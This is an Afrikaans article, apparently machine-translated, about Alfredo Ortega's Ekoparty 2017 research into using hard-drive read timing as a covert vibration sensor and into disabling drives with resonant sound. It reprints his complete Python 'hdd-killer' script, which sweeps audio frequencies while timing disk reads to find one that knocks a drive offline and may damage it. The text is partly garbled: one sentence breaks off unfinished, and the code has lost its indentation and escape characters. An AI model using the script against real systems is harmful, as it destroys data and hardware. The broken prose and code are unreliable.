By die Ekoparty 2017 rekenaarsekuriteitskonferensie in Buenos Aires het die Argentynse kuberkraker Alfredo Ortega 'n baie interessante ontwikkeling getoon - 'n stelsel vir geheime afluistering van persele sonder om 'n mikrofoon te gebruik. Klank !
Die HDD tel hoofsaaklik hoë-intensiteit lae-frekwensie klanke, voetstappe en ander vibrasies op. Menslike spraak kan nog nie herken word nie, hoewel wetenskaplikes (spraakherkenning deur lae-frekwensie vibrasies, wat byvoorbeeld opgeneem word vanaf 'n giroskoop of HDD).
Klank is die vibrasie van lug of 'n ander medium. 'n Persoon neem hulle waar deur die trommelvlies, wat vibrasies na die binneoor oordra. Die mikrofoon is ongeveer soos 'n oor ontwerp - ook hier word vibrasies deur 'n dun membraan aangeteken, wat 'n elektriese impuls opwek. Die hardeskyf is natuurlik ook onderhewig aan mikroskopiese vibrasies as gevolg van fluktuasies in die omringende lug. Dit is selfs bekend uit die tegniese kenmerke van HDD's: vervaardigers dui gewoonlik die maksimum toelaatbare vibrasievlak aan, en die hardeskyf self probeer dit dikwels in 'n vibrasievaste houer van rubber of ander isolerende materiaal plaas. Hieruit is dit maklik om af te lei dat klanke met HDD opgeneem kan word. Al wat oorbly is om uit te vind hoe.
Alfredo Ortega het 'n unieke weergawe van 'n sykanaalaanval voorgestel, naamlik 'n tydaanval. Hierdie aanval is gebaseer op die aanname dat verskillende bewerkings op verskillende tye op die toestel uitgevoer word, afhangende van die invoerdata wat gegee word. In hierdie geval is die "invoerdata" die vibrasies van die leeskop en die HDD-bord, wat korreleer met die vibrasies van die omgewing, dit wil sê met klank. Deur dus die berekeningstyd te meet en 'n statistiese analise van die data uit te voer, kan die vibrasies van die kop/platter en dus die vibrasies van die medium gemeet word. Hoe langer die vertraging in die lees van data, hoe sterker is die HDD-vibrasies en dus hoe harder die klank.
Hoe om hardeskyf vibrasie te meet? Baie eenvoudig: voer net die stelseloproep uit read () - en teken die tyd aan wat dit neem om te voltooi. Moderne bedryfstelsels laat jou toe om die tydsberekening van stelseloproepe met nanosekonde-akkuraatheid te lees.
Die spoed van die lees van inligting van 'n sektor hang af van die posisie van die kop en skottel, wat korreleer met vibrasies van die HDD-omhulsel. Dis al.
Statistiese analise word uitgevoer met behulp van 'n eenvoudige Kscope-nutsding. Soos hulle sê, alles vernuftig is eenvoudig.
Kscope nut (stat() syscall)
Kscope is 'n klein hulpmiddel om klein verskille in die uitvoering van stelseloproepe te visualiseer. Bron.
In 'n aparte bewaarplek daar is 'n weergawe van die hulpprogram wat gekonfigureer is vir 'n tydaanval op die hardeskyf, dit wil sê gekonfigureer om die stelseloproep te ontleed read ().
Demonstrasie van klankopname met behulp van HDD, werking van die Kscope-nutsding
Natuurlik kan spraak nie op hierdie manier verstaan word nie, maar die HDD is baie geskik as 'n vibrasiesensor. Byvoorbeeld, jy kan registreer as 'n persoon wat harde skoene dra of kaalvoet 'n kamer met 'n rekenaar binnegegaan het (waarskynlik, as die aanvaller sagte tekkies dra of daar 'n dik mat op die vloer is, sal die HDD nie vibrasies kan registreer nie - dit is die moeite werd om na te gaan). Die rekenaar is in staat om gebreekte glas of ander voorvalle met sterk klankintensiteit te registreer. Dit wil sê, die hardeskyf kan dien as 'n soort ongemagtigde inbraakdetectiestelsel.
HDD moordenaar
Terloops, 'n soortgelyke tegniek kan gebruik word om hardeskywe uit te skakel. Net hier verwyder ons nie ossillasies van die HDD nie, maar inteendeel, ons genereer ossillasies wat na die HDD gevoer word. As jy klank van 'n luidspreker speel teen 'n frekwensie wat met die HDD-frekwensie resoneer, skakel die stelsel gou die toestel af met 'n I/O-fout (die Linux-kern skakel die HDD heeltemal af na 120 sekondes). Die hardeskyf self kan onomkeerbare skade ly.
Die Linux-kern het die hardeskyf afgeskakel na 120 sekondes van klank teen 'n resonante frekwensie deur die luidspreker van die Edifier r19u USB-luidspreker. Die luidspreker word aangeskakel teen ongeveer 'n kwart van die krag (minder as 100 mW) en is 20 cm van die HDD geleë, gerig op die tafel om vibrasies te verbeter. Raam van met 'n demonstrasie van die HDD-moordenaar
Dit is vreemd dat sulke "aanvalle" op HDD's soms heeltemal per ongeluk in die alledaagse lewe plaasvind. Byvoorbeeld, in September 2016 is die ING Bank-datasentrum gedwing om bedrywighede vir 10 uur ná 'n brandoefening op te skort. as gevolg van die harde geluid van inerte gas wat onder hoë druk uit silinders vrygestel word. Die klank was baie hard (meer as 130 dB), maar jy kan nie eers op die hardeskywe skree nie - dit verhoog die vertraging in toegang tot die HDD.
Demonstrasie van menslike skree op hardeskywe in 'n datasentrum. Latency meting
Om die resonerende klank te genereer, het Alfredo Ortega 'n Python-skrif geskryf genaamd ().
Dit is redelik klein, so jy kan dit in sy geheel hier publiseer.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Bron: will.com